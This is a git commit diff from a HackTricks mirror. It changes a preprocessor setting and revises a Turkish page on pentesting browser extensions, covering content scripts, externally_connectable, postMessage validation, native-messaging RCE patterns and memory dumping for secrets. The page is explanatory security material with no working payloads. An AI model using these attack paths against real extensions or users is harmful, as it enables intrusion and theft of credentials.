mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox
This commit is contained in:
parent
a459985d86
commit
446ef19a8c
@ -22,6 +22,7 @@ after = ["links"]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
|
||||
@ -30,14 +30,16 @@ def ref(matchobj):
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = href
|
||||
if href.startswith("http://") or href.startswith("https://"):
|
||||
# pass
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
|
||||
match = re.search('<title>(.*?)</title>', raw_html)
|
||||
title = match.group(1) if match else href
|
||||
except Exception as e:
|
||||
logger.debug(f'Error opening URL {href}: {e}')
|
||||
pass #nDont stop on broken link
|
||||
else:
|
||||
try:
|
||||
if href.endswith("/"):
|
||||
@ -90,7 +92,7 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
|
||||
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
|
||||
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
|
||||
@ -12,7 +12,7 @@ dht udp "DHT Düğümleri"
|
||||
|
||||
.png>)
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (3).png>)
|
||||
|
||||
InfluxDB
|
||||
|
||||
@ -24,6 +24,6 @@ InfluxDB
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@ Eklenti düzenleri en iyi şekilde görselleştirildiğinde görünür ve üç b
|
||||
|
||||
### **İçerik Scriptleri**
|
||||
|
||||
Her içerik scriptinin **tek bir web sayfasının** DOM'una doğrudan erişimi vardır ve bu nedenle **potansiyel olarak kötü niyetli girdilere** maruz kalır. Ancak, içerik scripti eklenti çekirdeğine mesaj gönderme yeteneği dışında hiçbir izne sahip değildir.
|
||||
Her içerik scriptinin **tek bir web sayfasının** DOM'una doğrudan erişimi vardır ve bu nedenle **potansiyel olarak kötü niyetli girdilere** maruz kalır. Ancak, içerik scripti eklenti çekirdeğine mesaj göndermenin dışında hiçbir izne sahip değildir.
|
||||
|
||||
### **Eklenti Çekirdeği**
|
||||
|
||||
@ -27,7 +27,7 @@ Eklenti, kullanıcının tam ayrıcalıklarıyla **ana makineye erişebilen bir
|
||||
### Sınırlar
|
||||
|
||||
> [!CAUTION]
|
||||
> Kullanıcının tam ayrıcalıklarını elde etmek için, bir saldırganın eklentiyi içerik scriptinden kötü niyetli girişi eklentinin çekirdeğine ve eklentinin çekirdeğinden yerel ikiliye geçirmesi için ikna etmesi gerekir.
|
||||
> Kullanıcının tam ayrıcalıklarını elde etmek için, bir saldırganın eklentiyi içerik scriptinden eklentinin çekirdeğine ve eklentinin çekirdeğinden yerel ikiliye kötü niyetli girdi geçirmesi için ikna etmesi gerekir.
|
||||
|
||||
Eklentinin her bir bileşeni, **güçlü koruyucu sınırlarla** birbirinden ayrılmıştır. Her bir bileşen, **ayrı bir işletim sistemi sürecinde** çalışır. İçerik scriptleri ve eklenti çekirdekleri, çoğu işletim sistemi hizmetine kapalı olan **sandbox süreçlerinde** çalışır.
|
||||
|
||||
@ -61,7 +61,7 @@ Bir Chrome eklentisi, [.crx dosya uzantısına](https://www.lifewire.com/crx-fil
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
İçerik betikleri, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. Sayfanın [Belge Nesne Modeli (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) üzerinde keyfi erişime sahip olarak **sayfanın kendi betikleri gibi** çalışırlar.
|
||||
İçerik betikleri, kullanıcı **eşleşen bir sayfaya gittiğinde** **yüklenir**, bu durumda **`https://example.com/*`** ifadesine uyan ve **`*://*/*/business*`** regex'ine uymayan herhangi bir sayfa. Sayfanın [Belge Nesne Modeline (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model) erişimi vardır ve **sayfanın kendi betikleri gibi** çalışırlar.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
@ -78,7 +78,7 @@ Bir Chrome eklentisi, [.crx dosya uzantısına](https://www.lifewire.com/crx-fil
|
||||
```
|
||||
Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_globs`** kullanmak da mümkündür.
|
||||
|
||||
Bu, uzantının depolamasından `message` değerini almak için [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanan bir açıklama butonu ekleyecek örnek bir içerik betiğidir.
|
||||
Bu, uzantının depolama alanından `message` değerini almak için [depolama API'sini](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) kullanan bir açıklama butonu ekleyecek örnek bir içerik betiğidir.
|
||||
```js
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let div = document.createElement("div")
|
||||
@ -104,9 +104,9 @@ Geliştirici araçları görüntülendikten sonra, **Kaynak sekmesi** tıklanmal
|
||||
### Enjekte Edilmiş İçerik Betikleri
|
||||
|
||||
> [!TIP]
|
||||
> **İçerik Betikleri zorunlu değildir**; ayrıca **dinamik olarak** **enjekte** betikleri ve web sayfalarına **programatik olarak enjekte** etmek de mümkündür; bu, **`tabs.executeScript`** aracılığıyla gerçekleştirilir. Bu, aslında daha **detaylı kontroller** sağlar.
|
||||
> **İçerik Betikleri zorunlu değildir**; ayrıca **dinamik olarak** **betik enjekte etmek** ve **programatik olarak** web sayfalarına enjekte etmek de mümkündür; bu, **`tabs.executeScript`** aracılığıyla gerçekleştirilir. Bu, aslında daha **detaylı kontroller** sağlar.
|
||||
|
||||
Bir içerik betiğinin programatik olarak enjekte edilmesi için, uzantının betiklerin enjekte edileceği sayfa için [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions) alması gerekmektedir. Bu izinler, uzantının manifestosunda **talep edilerek** veya geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla güvence altına alınabilir.
|
||||
Bir içerik betiğinin programatik olarak enjekte edilmesi için, uzantının betiklerin enjekte edileceği sayfa için [host izinlerine](https://developer.chrome.com/docs/extensions/reference/permissions) sahip olması gerekmektedir. Bu izinler, uzantının manifestosunda **talep edilerek** veya geçici olarak [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab) aracılığıyla güvence altına alınabilir.
|
||||
|
||||
#### Örnek activeTab tabanlı uzantı
|
||||
```json:manifest.json
|
||||
@ -138,7 +138,7 @@ files: ["content-script.js"],
|
||||
})
|
||||
})
|
||||
```
|
||||
- **Bir fonksiyon enjekte et** tıklandığında:
|
||||
- **Bir fonksiyonu** tıklama ile enjekte et:
|
||||
```javascript
|
||||
//service-worker.js - Inject a function
|
||||
function injectedFunction() {
|
||||
@ -171,7 +171,7 @@ Daha fazla URL eklemek veya çıkarmak için **`include_globs`** ve **`exclude_g
|
||||
|
||||
### İçerik Scriptleri `run_at`
|
||||
|
||||
`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`dur.
|
||||
`run_at` alanı **JavaScript dosyalarının web sayfasına ne zaman enjekte edileceğini** kontrol eder. Tercih edilen ve varsayılan değer `"document_idle"`'dır.
|
||||
|
||||
Olası değerler şunlardır:
|
||||
|
||||
@ -208,11 +208,11 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
İçerik betikleri tarafından gönderilen mesajlar, uzantının bileşenlerini koordine etmede merkezi bir rol oynayan **arka plan sayfası** tarafından alınır. Özellikle, arka plan sayfası uzantının ömrü boyunca devam eder, doğrudan kullanıcı etkileşimi olmadan gizlice çalışır. Kendi Belge Nesne Modeli (DOM) vardır, bu da karmaşık etkileşimler ve durum yönetimi sağlar.
|
||||
İçerik betikleri tarafından gönderilen mesajlar, uzantının bileşenlerini koordine eden merkezi bir rol üstlenen **arka plan sayfası** tarafından alınır. Özellikle, arka plan sayfası uzantının ömrü boyunca devam eder, doğrudan kullanıcı etkileşimi olmadan gizlice çalışır. Kendi Belge Nesne Modeli (DOM) vardır, bu da karmaşık etkileşimler ve durum yönetimi sağlar.
|
||||
|
||||
**Ana Noktalar**:
|
||||
|
||||
- **Arka Plan Sayfası Rolü:** Uzantının sinir merkezi olarak hareket eder, uzantının çeşitli parçaları arasında iletişim ve koordinasyonu sağlar.
|
||||
- **Arka Plan Sayfası Rolü:** Uzantının sinir merkezi olarak işlev görür, uzantının çeşitli parçaları arasında iletişim ve koordinasyonu sağlar.
|
||||
- **Süreklilik:** Kullanıcıya görünmez, ancak uzantının işlevselliği için hayati bir varlıktır.
|
||||
- **Otomatik Oluşturma:** Açıkça tanımlanmadıysa, tarayıcı otomatik olarak bir arka plan sayfası oluşturur. Bu otomatik oluşturulan sayfa, uzantının manifestosunda belirtilen tüm arka plan betiklerini içerecek şekilde, uzantının arka plan görevlerinin kesintisiz çalışmasını sağlar.
|
||||
|
||||
@ -238,7 +238,7 @@ Arka plan betiğini hata ayıklamak için **uzantı ayrıntılarına gidip hizme
|
||||
Tarayıcı uzantıları çeşitli türde sayfalar içerebilir:
|
||||
|
||||
- **Eylem sayfaları**, uzantı simgesine tıklandığında **açılır menüde** görüntülenir.
|
||||
- Uzantının **yeni bir sekmede yükleyeceği sayfalar**.
|
||||
- Uzantının **yeni bir sekmede yükleyeceği** sayfalar.
|
||||
- **Seçenek Sayfaları**: Bu sayfa tıklandığında uzantının üstünde görüntülenir. Önceki manifestoda bu sayfaya `chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca` adresinden veya tıklayarak erişebildim:
|
||||
|
||||
<figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
@ -264,7 +264,7 @@ browext-permissions-and-host_permissions.md
|
||||
|
||||
Bir **içerik güvenlik politikası**, `manifest.json` içinde de tanımlanabilir. Eğer tanımlıysa, **açık bir şekilde savunmasız** olabilir.
|
||||
|
||||
Tarayıcı uzantısı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır:
|
||||
Tarayıcı uzantı sayfaları için varsayılan ayar oldukça kısıtlayıcıdır:
|
||||
```bash
|
||||
script-src 'self'; object-src 'self';
|
||||
```
|
||||
@ -276,7 +276,7 @@ Daha fazla bilgi için CSP ve potansiyel bypass'lar hakkında kontrol edin:
|
||||
|
||||
### `web_accessible_resources`
|
||||
|
||||
Bir web sayfasının bir Tarayıcı Eklentisi sayfasına, örneğin bir `.html` sayfasına erişebilmesi için, bu sayfanın `manifest.json` dosyasındaki **`web_accessible_resources`** alanında belirtilmesi gerekir.\
|
||||
Bir web sayfasının bir Tarayıcı Uzantısının sayfasına, örneğin bir `.html` sayfasına erişebilmesi için, bu sayfanın `manifest.json` dosyasındaki **`web_accessible_resources`** alanında belirtilmesi gerekir.\
|
||||
Örneğin:
|
||||
```javascript
|
||||
{
|
||||
@ -314,7 +314,7 @@ browext-clickjacking.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Bu sayfaların yalnızca uzantı tarafından ve rastgele URL'ler tarafından yüklenmesine izin verilmesi, ClickJacking saldırılarını önleyebilir.
|
||||
> Bu sayfaların yalnızca uzantı tarafından ve rastgele URL'ler tarafından yüklenmesine izin vermek, ClickJacking saldırılarını önleyebilir.
|
||||
|
||||
> [!CAUTION]
|
||||
> **`web_accessible_resources`** ve uzantının diğer sayfalarının da **arka plan betikleriyle iletişim kurma** yeteneğine sahip olduğunu unutmayın. Bu nedenle, bu sayfalardan biri **XSS**'ye karşı savunmasızsa, daha büyük bir güvenlik açığı açabilir.
|
||||
@ -333,12 +333,12 @@ browext-clickjacking.md
|
||||
"https://*.google.com/*",
|
||||
"*://*.chromium.org/*",
|
||||
```
|
||||
- Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir uygulama veya web bağlantı kuramayacaktır.
|
||||
- Eğer boş olarak belirtilmişse: **`"externally_connectable": {}`**, hiçbir uygulama veya web bağlanamayacaktır.
|
||||
|
||||
Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyinin** daha küçük olacağı anlamına gelir.
|
||||
Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyini** **daha küçük** hale getirecektir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Eğer bir web sayfası **XSS veya ele geçirme** için **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, İçerik Scriptini ve CSP'yi tamamen atlayarak.
|
||||
> Eğer bir web sayfası **XSS veya ele geçirme** için **`externally_connectable`** içinde belirtilmişse, bir saldırgan **arka plan scriptine doğrudan mesaj gönderebilir**, Content Script ve CSP'yi tamamen atlayarak.
|
||||
>
|
||||
> Bu nedenle, bu **çok güçlü bir atlatmadır**.
|
||||
>
|
||||
@ -348,13 +348,13 @@ Burada belirtilen **daha az uzantı ve URL**, **saldırı yüzeyinin** daha kü
|
||||
|
||||
### Uzantı <--> Web Uygulaması
|
||||
|
||||
İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının ayrıca **bir Post Message göndererek web uygulaması ile iletişim kurabileceğini** ve bu nedenle webin bunu beklemesi gerektiğini unutmayın veya sadece webin yeni bir script yüklemesini sağlayabilir.
|
||||
İçerik scripti ile web sayfası arasında iletişim kurmak için genellikle post mesajları kullanılır. Bu nedenle, web uygulamasında genellikle **`window.postMessage`** fonksiyonuna yapılan çağrılar ve içerik scriptinde **`window.addEventListener`** gibi dinleyiciler bulacaksınız. Ancak, uzantının ayrıca **bir Post Message göndererek web uygulaması ile iletişim kurabileceğini** (bu nedenle webin bunu beklemesi gerektiğini) veya sadece webin yeni bir script yüklemesini sağlayabileceğini unutmayın.
|
||||
|
||||
### Uzantının içinde
|
||||
|
||||
Genellikle **`chrome.runtime.sendMessage`** fonksiyonu uzantı içinde bir mesaj göndermek için kullanılır (genellikle `background` scripti tarafından işlenir) ve bunu almak ve işlemek için bir dinleyici **`chrome.runtime.onMessage.addListener`** çağrısı ile tanımlanır.
|
||||
|
||||
Ayrıca, tekil mesajlar göndermek yerine sürekli bir bağlantı kurmak için **`chrome.runtime.connect()`** kullanmak da mümkündür, bu, aşağıdaki örnekte olduğu gibi **mesajlar** **göndermek** ve **almak** için kullanılabilir:
|
||||
Ayrıca, tekil mesajlar göndermek yerine sürekli bir bağlantı sağlamak için **`chrome.runtime.connect()`** kullanmak da mümkündür, bu, aşağıdaki örnekte olduğu gibi **mesajlar** **göndermek** ve **almak** için kullanılabilir:
|
||||
|
||||
<details>
|
||||
|
||||
@ -393,7 +393,7 @@ Belirli bir sekmede bulunan bir içerik betiğine arka plan betiğinden mesaj g
|
||||
|
||||
### İzin verilen `externally_connectable`'dan uzantıya
|
||||
|
||||
`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** istek gönderebilir:
|
||||
`externally_connectable` yapılandırmasında **izin verilen web uygulamaları ve harici tarayıcı uzantıları** aşağıdaki gibi istek gönderebilir:
|
||||
```javascript
|
||||
chrome.runtime.sendMessage(extensionId, ...
|
||||
```
|
||||
@ -401,7 +401,7 @@ chrome.runtime.sendMessage(extensionId, ...
|
||||
|
||||
### Yerel Mesajlaşma
|
||||
|
||||
Arka plan betiklerinin sistem içindeki ikili dosyalarla iletişim kurması mümkündür; bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** maruz kalabilir. [Bununla ilgili daha fazla bilgi](./#native-messaging).
|
||||
Arka plan betiklerinin, bu iletişim düzgün bir şekilde güvence altına alınmazsa **RCE'ler gibi kritik güvenlik açıklarına** eğilimli olabilecek sistem içindeki ikili dosyalarla iletişim kurması mümkündür. [Bununla ilgili daha fazla bilgi](./#native-messaging).
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -413,7 +413,7 @@ console.log("Received " + response)
|
||||
```
|
||||
## Web **↔︎** İçerik Scripti İletişimi
|
||||
|
||||
**İçerik scriptlerinin** çalıştığı ortamlar ve ana sayfaların bulunduğu yerler birbirinden **ayrıdır**, bu da **izolasyon** sağlar. Bu izolasyona rağmen, her ikisi de sayfanın **Belge Nesne Modeli (DOM)** ile etkileşimde bulunma yeteneğine sahiptir, bu da paylaşılan bir kaynaktır. Ana sayfanın **içerik scripti** ile veya içerik scripti aracılığıyla uzantı ile dolaylı olarak iletişim kurabilmesi için, her iki tarafın da erişebileceği **DOM**'u iletişim kanalı olarak kullanması gerekmektedir.
|
||||
**İçerik scriptlerinin** çalıştığı ortamlar ve ana sayfaların bulunduğu yerler **birbirinden ayrıdır**, bu da **izolasyon** sağlar. Bu izolasyona rağmen, her ikisi de sayfanın **Belge Nesne Modeli (DOM)** ile etkileşimde bulunma yeteneğine sahiptir, bu da paylaşılan bir kaynaktır. Ana sayfanın **içerik scripti** ile veya içerik scripti aracılığıyla uzantı ile dolaylı olarak iletişim kurabilmesi için, her iki tarafın da erişebildiği **DOM**'u iletişim kanalı olarak kullanması gerekmektedir.
|
||||
|
||||
### Post Mesajları
|
||||
```javascript:content-script.js
|
||||
@ -452,9 +452,9 @@ false
|
||||
```
|
||||
Güvenli bir Post Message iletişimi, alınan mesajın doğruluğunu kontrol etmelidir, bu şu şekilde yapılabilir:
|
||||
|
||||
- **`event.isTrusted`**: Bu, yalnızca olay bir kullanıcı eylemi tarafından tetiklendiğinde Doğrudur.
|
||||
- **`event.isTrusted`**: Bu, yalnızca olay bir kullanıcı eylemi tarafından tetiklendiğinde Doğru'dur.
|
||||
- İçerik betiği, yalnızca kullanıcı bir eylem gerçekleştirdiğinde bir mesaj bekliyor olabilir.
|
||||
- **origin domain**: yalnızca izin verilen alanlar listesi ile bir mesaj bekliyor olabilir.
|
||||
- **origin domain**: yalnızca izin verilen alanlar listesinden bir mesaj bekliyor olabilir.
|
||||
- Bir regex kullanılıyorsa, çok dikkatli olun.
|
||||
- **Source**: `received_message.source !== window` mesajın **Content Script'in dinlediği aynı pencereden** gelip gelmediğini kontrol etmek için kullanılabilir.
|
||||
|
||||
@ -466,7 +466,7 @@ Güvenli bir Post Message iletişimi, alınan mesajın doğruluğunu kontrol etm
|
||||
|
||||
### Iframe
|
||||
|
||||
İletişim için başka bir olası yol **Iframe URL'leri** aracılığıyla olabilir, bir örneği burada bulabilirsiniz:
|
||||
İletişim için başka bir olası yol **Iframe URL'leri** aracılığıyla olabilir, bir örneği şurada bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -474,9 +474,9 @@ browext-xss-example.md
|
||||
|
||||
### DOM
|
||||
|
||||
Bu "tam olarak" bir iletişim yolu değildir, ancak **web ve içerik betiği web DOM'una erişim sağlayacaktır**. Yani, eğer **içerik betiği** ondan bazı bilgileri okuyorsa, **web DOM'una güvenerek**, web bu veriyi **değiştirebilir** (çünkü web güvenilir olmamalıdır veya çünkü web XSS'e karşı savunmasızdır) ve **Content Script'i tehlikeye atabilir**.
|
||||
Bu "tam olarak" bir iletişim yolu değildir, ancak **web ve içerik betiği web DOM'una erişim sağlayacaktır**. Yani, eğer **içerik betiği** ondan bazı bilgileri okuyorsa, **web DOM'una güveniyorsa**, web bu veriyi **değiştirebilir** (çünkü web güvenilir olmamalıdır veya çünkü web XSS'e karşı savunmasızdır) ve **Content Script'i tehlikeye atabilir**.
|
||||
|
||||
Ayrıca, bir **DOM tabanlı XSS ile bir tarayıcı uzantısını tehlikeye atma** örneğini burada bulabilirsiniz:
|
||||
Ayrıca, bir **tarayıcı uzantısını tehlikeye atmak için DOM tabanlı bir XSS örneğini** şurada bulabilirsiniz:
|
||||
|
||||
{{#ref}}
|
||||
browext-xss-example.md
|
||||
@ -486,7 +486,7 @@ browext-xss-example.md
|
||||
|
||||
Bir İçerik Betiği, [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **veya** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) fonksiyonlarını kullanarak **bir kerelik JSON-serializable** bir mesaj gönderebilir.
|
||||
|
||||
**Yanıtı** işlemek için döndürülen **Promise**'i kullanın. Ancak, geriye dönük uyumluluk için, son argüman olarak hala bir **callback** geçebilirsiniz.
|
||||
**Yanıtı** işlemek için döndürülen **Promise**'ı kullanın. Ancak, geriye dönük uyumluluk için, son argüman olarak hala bir **callback** geçebilirsiniz.
|
||||
|
||||
Bir **içerik betiğinden** bir istek göndermek şöyle görünür:
|
||||
```javascript
|
||||
@ -539,14 +539,14 @@ Tarayıcı uzantıları ayrıca **sistemdeki ikili dosyalarla stdin üzerinden i
|
||||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
`name`, [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) veya [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ile arka plan betiklerinden uygulama ile iletişim kurmak için geçirilen dizedir. `path`, ikili dosyanın yoludur, yalnızca 1 geçerli `type` vardır, o da stdio'dur (stdin ve stdout kullanın) ve `allowed_origins`, buna erişebilen uzantıları belirtir (ve joker karakter olamaz).
|
||||
`name`, [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) veya [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) ile arka plan betiklerinden uygulama ile iletişim kurmak için geçirilen dizedir. `path`, ikili dosyanın yoludur, yalnızca 1 geçerli `type` vardır, bu da stdio'dur (stdin ve stdout kullanın) ve `allowed_origins`, buna erişebilecek uzantıları belirtir (ve joker karakter olamaz).
|
||||
|
||||
Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yollarda arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bakın).
|
||||
Chrome/Chromium, bu json'u bazı Windows kayıt defterlerinde ve macOS ile Linux'taki bazı yollarda arayacaktır (daha fazla bilgi için [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging) bölümüne bakın).
|
||||
|
||||
> [!TIP]
|
||||
> Tarayıcı uzantısının bu iletişimi kullanabilmesi için `nativeMessaing` izninin de tanımlanması gerekir.
|
||||
|
||||
İşte bazı arka plan betiği kodunun yerel bir uygulamaya mesaj göndermesi:
|
||||
İşte bazı arka plan betiği kodunun yerel bir uygulamaya mesaj göndermesi şöyle görünür:
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
"com.my_company.my_application",
|
||||
@ -556,30 +556,30 @@ console.log("Received " + response)
|
||||
}
|
||||
)
|
||||
```
|
||||
[**bu blog yazısında**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) yerel mesajları kötüye kullanan bir zayıf desen önerilmektedir:
|
||||
[**Bu blog yazısında**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/) yerel mesajları kötüye kullanan bir zayıf desen önerilmektedir:
|
||||
|
||||
1. Tarayıcı uzantısı içerik betiği için bir joker karakter deseni vardır.
|
||||
2. İçerik betiği `sendMessage` kullanarak arka plan betiğine `postMessage` mesajları gönderir.
|
||||
3. Arka plan betiği mesajı `sendNativeMessage` kullanarak yerel uygulamaya iletir.
|
||||
4. Yerel uygulama mesajı tehlikeli bir şekilde işler ve bu da kod yürütmeye yol açar.
|
||||
4. Yerel uygulama mesajı tehlikeli bir şekilde işler, bu da kod yürütmeye yol açar.
|
||||
|
||||
Ve bunun içinde **herhangi bir sayfadan RCE'ye geçiş yapma örneği bir tarayıcı uzantısını kötüye kullanarak açıklanmaktadır**.
|
||||
|
||||
## Bellekte/Kodda/Panoda Hassas Bilgiler
|
||||
## Bellek/Kod/Panoya Duyarlı Bilgiler
|
||||
|
||||
Eğer bir Tarayıcı Uzantısı **hassas bilgileri belleğinde saklıyorsa**, bu **dökülebilir** (özellikle Windows makinelerinde) ve bu bilgiler için **arama yapılabilir**.
|
||||
Eğer bir Tarayıcı Uzantısı **duyarlı bilgileri belleğinde saklıyorsa**, bu **dökülebilir** (özellikle Windows makinelerinde) ve bu bilgiler için **arama yapılabilir**.
|
||||
|
||||
Bu nedenle, Tarayıcı Uzantısının belleği **güvenli olarak kabul edilmemelidir** ve **hassas bilgiler** (kimlik bilgileri veya mnemonik ifadeler gibi) **saklanmamalıdır**.
|
||||
Bu nedenle, Tarayıcı Uzantısının belleği **güvenli olarak kabul edilmemelidir** ve **duyarlı bilgiler** (kimlik bilgileri veya mnemonik ifadeler gibi) **saklanmamalıdır**.
|
||||
|
||||
Elbette, **hassas bilgileri kodda bulundurmayın**, çünkü bu **kamusal** olacaktır.
|
||||
Elbette, **duyarlı bilgileri kodda saklamayın**, çünkü bu **kamusal** olacaktır.
|
||||
|
||||
Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snaphost`** ve **`CTRL+F`** ile anlık görüntüde hassas bilgileri arayın.
|
||||
Tarayıcıdan bellek dökmek için **işlem belleğini dökebilir** veya tarayıcı uzantısının **ayarlarına** gitmek için **`Inspect pop-up`** üzerine tıklayın -> **`Memory`** bölümünde -> **`Take a snapshot`** ve duyarlı bilgileri bulmak için anlık görüntü içinde **`CTRL+F`** ile arama yapın.
|
||||
|
||||
Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece hassas bilgilerin **panoya kopyalanmasına izin verilmemelidir** (veya en azından birkaç saniye içinde panodan kaldırılmalıdır) çünkü bu durumda panoyu izleyen işlemler bunları alabilecektir.
|
||||
Ayrıca, mnemonik anahtarlar veya şifreler gibi son derece duyarlı bilgilerin **panoya kopyalanmasına izin verilmemelidir** (veya en azından birkaç saniye içinde panodan kaldırılmalıdır) çünkü bu durumda panoyu izleyen işlemler bunları alabilecektir.
|
||||
|
||||
## Tarayıcıda Bir Uzantı Yükleme
|
||||
|
||||
1. **Tarayıcı Uzantısını İndirin** ve açın
|
||||
1. Tarayıcı Uzantısını **indirin** ve açın
|
||||
2. **`chrome://extensions/`** adresine gidin ve `Geliştirici Modu`nu **etkinleştirin**
|
||||
3. **`Load unpacked`** butonuna tıklayın
|
||||
|
||||
@ -612,7 +612,7 @@ Başka bir pratik yöntem, açık kaynaklı bir proje olan Chrome Extension Sour
|
||||
|
||||
Yerel olarak yüklenmiş Chrome uzantıları da incelenebilir. İşte nasıl:
|
||||
|
||||
1. `chrome://version/` adresine giderek Chrome yerel profil dizininize erişin ve "Profil Yolu" alanını bulun.
|
||||
1. `chrome://version/` adresine giderek Chrome yerel profil dizininize erişin ve "Profile Path" alanını bulun.
|
||||
2. Profil dizinindeki `Extensions/` alt klasörüne gidin.
|
||||
3. Bu klasör, genellikle okunabilir formatta kaynak kodlarıyla birlikte tüm yüklenmiş uzantıları içerir.
|
||||
|
||||
@ -627,11 +627,11 @@ Chrome Web Store'a gidin ve uzantıyı indirin. Dosya `.crx` uzantısına sahip
|
||||
|
||||
### Chrome'da Geliştirici Modunu kullanın
|
||||
|
||||
Chrome'u açın ve `chrome://extensions/` adresine gidin. Sağ üstte "Geliştirici modunu" etkinleştirin. "Paketlenmemiş uzantıyı yükle..." seçeneğine tıklayın. Uzantınızın dizinine gidin. Bu, kaynak kodunu indirmez, ancak zaten indirilmiş veya geliştirilmiş bir uzantının kodunu görüntülemek ve değiştirmek için faydalıdır.
|
||||
